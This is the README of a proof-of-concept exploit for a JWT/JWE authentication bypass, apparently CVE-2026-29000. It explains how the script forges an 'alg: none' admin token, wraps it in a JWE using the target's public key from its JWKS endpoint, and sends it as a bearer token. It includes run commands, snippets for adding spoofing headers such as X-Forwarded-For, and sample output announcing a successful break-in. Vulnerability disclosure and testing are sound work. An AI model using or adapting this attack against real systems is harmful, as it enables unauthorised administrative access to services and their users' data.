
PoC of the CVE-2026-29000
A Proof-of-Concept (PoC) script demonstrating an authentication bypass vulnerability using JSON Web Tokens (JWT) and JSON Web Encryption (JWE). This tool exploits environments that improperly validate token algorithms by accepting unverified JWTs (alg: none) wrapped inside a valid JWE structure.
This exploit chain takes advantage of a common cryptographic implementation flaw:
jwks (JSON Web Key Set) endpoint and downloads the server's public RSA key.ROLE_ADMIN privileges. It intentionally sets the algorithm header to "alg": "none".Authorization: Bearer header. If the server decrypts the JWE and blindly trusts the inner JWT without verifying its signature, access is granted.Before running the script, ensure you have Python 3 installed along with the necessary dependencies.
pip install requests jwcrypto
The script requires two arguments: the target dashboard URL you want to test, and the URL where the public keys are hosted.
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>
Depending on your target, you may need to tweak the token structure or the HTTP requests to bypass specific filters.
If the target server expects specific fields inside the JWT itself (like a typ header, or custom user IDs in the payload), you can easily add them.
Open exploit.py and locate this section:
token_header_information = {
"alg": "none"
}
token_user_information = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
You can add any fields you want separated by commas. For example, to add a typ (Type) and kid (Key ID) to the JWT header, and a custom email to the payload:
token_header_information = {
"alg": "none",
"typ": "JWT",
"kid": "my-custom-key-id"
}
token_user_information = {
"sub": "admin",
"email": "[email protected]",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
If your target requires specific network headers (such as a custom User-Agent, bypass headers like X-Forwarded-For, or API keys), locate the network request at the bottom of the script:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token
}
Add your extra network headers like this:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"X-Forwarded-For": "127.0.0.1",
"Accept": "application/json"
}
Note: If you also need these headers sent during the initial public key download, you can pass this same dictionary to the requests.get() call at the top of the script.
When successful, the script will output the forged token and the parsed response from the restricted endpoint, proving the bypass:
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!
Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...
Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard
SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN
HTTP 401/403 Errors: The target server is properly validating signatures and rejecting the alg: none payload. The exploit failed because the target is secure.
Connection Errors: Ensure the URLs provided include the full scheme (http:// or https://) and that the target server is currently reachable.
Dependency Errors: Ensure jwcrypto is properly installed via pip.